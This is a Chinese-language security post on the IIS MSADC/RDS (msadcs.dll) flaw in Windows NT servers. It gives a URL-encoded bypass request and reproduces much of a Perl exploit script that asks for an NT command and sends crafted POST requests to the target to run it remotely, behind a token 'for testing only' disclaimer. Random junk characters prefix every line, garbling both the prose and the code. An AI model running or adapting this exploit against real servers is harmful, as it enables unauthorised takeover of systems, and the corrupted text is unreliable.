IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i1K$~ lh6N3d 涉及程序:
u'^kpr`y Microsoft NT server
MY^o0N ;0`IFtz 描述:
/!N=@z) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
cgO<%_l3` c& K`t 详细:
/&9R*xNST# 如果你没有时间读详细内容的话,就删除:
;#^ o5ht c:\Program Files\Common Files\System\Msadc\msadcs.dll
r`pf%9k 有关的安全问题就没有了。
X]o"vx%C '2UQN7@d 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
06?d#{?M1o bz1AmNZG 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
sY1.z5"Mm 关于利用ODBC远程漏洞的描述,请参看:
{vT9I4d8 *U$%mZS]1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D G|v'# IyM:9=}5 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
z|t2;j[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8m?cvI /<%EKu5 这里不再论述。
'rq@9$h1W Ug384RzHN 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
%m|1LI( QMy1!:Z&! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:98:U~d1 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
6Kw? wk{]eD% LB[?kpy #将下面这段保存为txt文件,然后: "perl -x 文件名"
`xZ,*G7(* [KCR@__ #!perl
^+0>,-)F #
]re}EB\Rs # MSADC/RDS 'usage' (aka exploit) script
X4+H8],) #
R&$fWV;' # by rain.forest.puppy
V(g5Gn? #
`5"3Cj"M # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9m\Yi # beta test and find errors!
uKj(=Rqq
d ^zuo use Socket; use Getopt::Std;
wEN[o18{ getopts("e:vd:h:XR", \%args);
#N%j9 G:@1.H` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
m# -&<= i|xz if (!defined $args{h} && !defined $args{R}) {
.&`apQD} print qq~
QjD=JC+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
))nTd= -h <host> = host you want to scan (ip or domain)
oKH+Q6S: -d <seconds> = delay between calls, default 1 second
dpX Fx"4A -X = dump Index Server path table, if available
ru~!;xT -v = verbose
)3<>H!yG} -e = external dictionary file for step 5
!Rgj'{ mD|Q+~=|e Or a -R will resume a command session
nyxoa/ i29a1nD4Hm ~; exit;}
fwlicbs ' VDxF%!h( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
BR_fOIDc if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
TQPrOs? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
fn.;C if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~N7;.
3 7 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
gVy`||z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
4#:C t* f SBdd_Fn if (!defined $args{R}){ $ret = &has_msadc;
owI:Qs_/4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|68u4z K @1' Y/dCyD print "Please type the NT commandline you want to run (cmd /c assumed):\n"
EWY'E;0@5 . "cmd /c ";
E25w^x2 $in=<STDIN>; chomp $in;
P,(_y8 $command="cmd /c " . $in ;
g++-v HD 1Dhu5ht if (defined $args{R}) {&load; exit;}
(_6JQn {B e9$$W, print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
RKM5FXX &try_btcustmr;
\ H#" a5/Dz&>j6 print "\nStep 2: Trying to make our own DSN...";
2+b}FVOe\ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>>"@0tO ggm'9| print "\nStep 3: Trying known DSNs...";
lL
50PU &known_dsn;
8TK*VOf` %NTJih` print "\nStep 4: Trying known .mdbs...";
/k(wb4Hv &known_mdb;
u } +?'B) FvO,* r9 if (defined $args{e}){
K-K>'T9F} print "\nStep 5: Trying dictionary of DSN names...";
/ {[p?7x> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
q~Al[`K FMhuCl2 print "Sorry Charley...maybe next time?\n";
)heHERbJ exit;
,}"jiGgS4 N2Ysi$ ##############################################################################
MJCz %zK ZLdIEBi= sub sendraw { # ripped and modded from whisker
uu"hu||0_ sleep($delay); # it's a DoS on the server! At least on mine...
k@h0 }% my ($pstr)=@_;
8R-;cBT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5uOz #hN die("Socket problems\n");
mdo$d-d& if(connect(S,pack "SnA4x8",2,80,$target)){
4sW~7:vU select(S); $|=1;
:z *jl'L print $pstr; my @in=<S>;
K
V select(STDOUT); close(S);
-WR<tkK return @in;
,V^$Meh } else { die("Can't connect...\n"); }}
}' sW[?ik 6j+X@|2^ ##############################################################################
`e?~c'a@ O:
#SjjK sub make_header { # make the HTTP request
r* l
c# my $msadc=<<EOT
F?0Q AA POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
qZ
+K4H User-Agent: ACTIVEDATA
WK@<# Host: $ip
}TAG7U* Content-Length: $clen
-_eG/o=M Connection: Keep-Alive
RCxwiZaf33 E H%hL5( ADCClientVersion:01.06
5hDy62PRr Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[N}QCy 25j\p{* --!ADM!ROX!YOUR!WORLD!
lC,~_Yb Content-Type: application/x-varg
6`bR'
0D Content-Length: $reqlen
]*Q,~uV^| u8`S*i/)m EOT
H*+7{;$ ; $msadc=~s/\n/\r\n/g;
VZ y$0* return $msadc;}
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